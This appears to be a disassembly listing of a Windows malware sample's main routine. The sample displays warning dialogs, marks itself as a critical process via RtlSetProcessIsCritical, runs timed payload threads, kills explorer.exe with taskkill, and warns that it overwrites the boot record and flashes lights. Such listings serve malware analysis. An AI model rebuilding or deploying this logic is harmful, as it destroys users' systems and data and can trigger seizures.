Function at 0x140003930
Capabilities:
Create process on windows
Create thread
Terminate process
Terminate thread

Disassembly:
sub rsp, 0x38
mov r9d, 0x34
lea r8, str.Ethylenediaminetetraacetate.exe_by_pankoza
lea rdx, str.This_is_a_Malware__nClick_yes_to_run._nClick_no_to_exit.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 7
jne 0x14000395e
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
mov r9d, 0x34
lea r8, [0x140016470]
lea rdx, str.Are_you_sure__It_will_overwrite_the_boot_record_and_it_contains_flashing_lights___NOT_for_epilepsy
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 7
jne 0x140003988
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
mov qword [rsp + 0x40], rbx
lea rcx, str.ntdll.dll
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x30], rdi
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x1400039cf
call fcn.1400013b0
lea rdx, str.RtlSetProcessIsCritical
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
test rax, rax
je 0x1400039cf
xor r8d, r8d
xor edx, edx
mov cl, 1
call rax
xor esi, esi
lea r8, [0x140001340]
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x1400029f0]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, 0x2ee0
call qword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.140002a90
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x140001490]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, 0x7530
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
call fcn.140002bf0
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x140001620]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, 0x7530
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
call fcn.140002d50
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x140001840]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, 0x7530
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
call fcn.140002eb0
mov qword [rsp + 0x28], rsi
xor r9d, r9d
mov dword [rsp + 0x20], esi
lea r8, [0x140001a60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, 0x7530
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
call fcn.140003000
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x140001c90]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, 0x7530
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
call fcn.140003150
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x140001f50]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, 0x7530
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
call fcn.1400032a0
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x1400021f0]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x140002380]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, 0x7530
mov rdi, rax
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
call fcn.1400033f0
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x1400024c0]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, 0x7530
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
call fcn.140003540
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
call fcn.140003690
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x140002770]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_TerminateThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
lea r9, str._f__im_explorer.exe
mov dword [rsp + 0x28], 0xa
lea r8, str.taskkill
mov qword [rsp + 0x20], rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
call fcn.1400037e0
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.DLL_Sleep]
or ecx, 0xffffffff
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
add rsp, 0x38
jmp qword [sym.imp.KERNEL32.DLL_Sleep]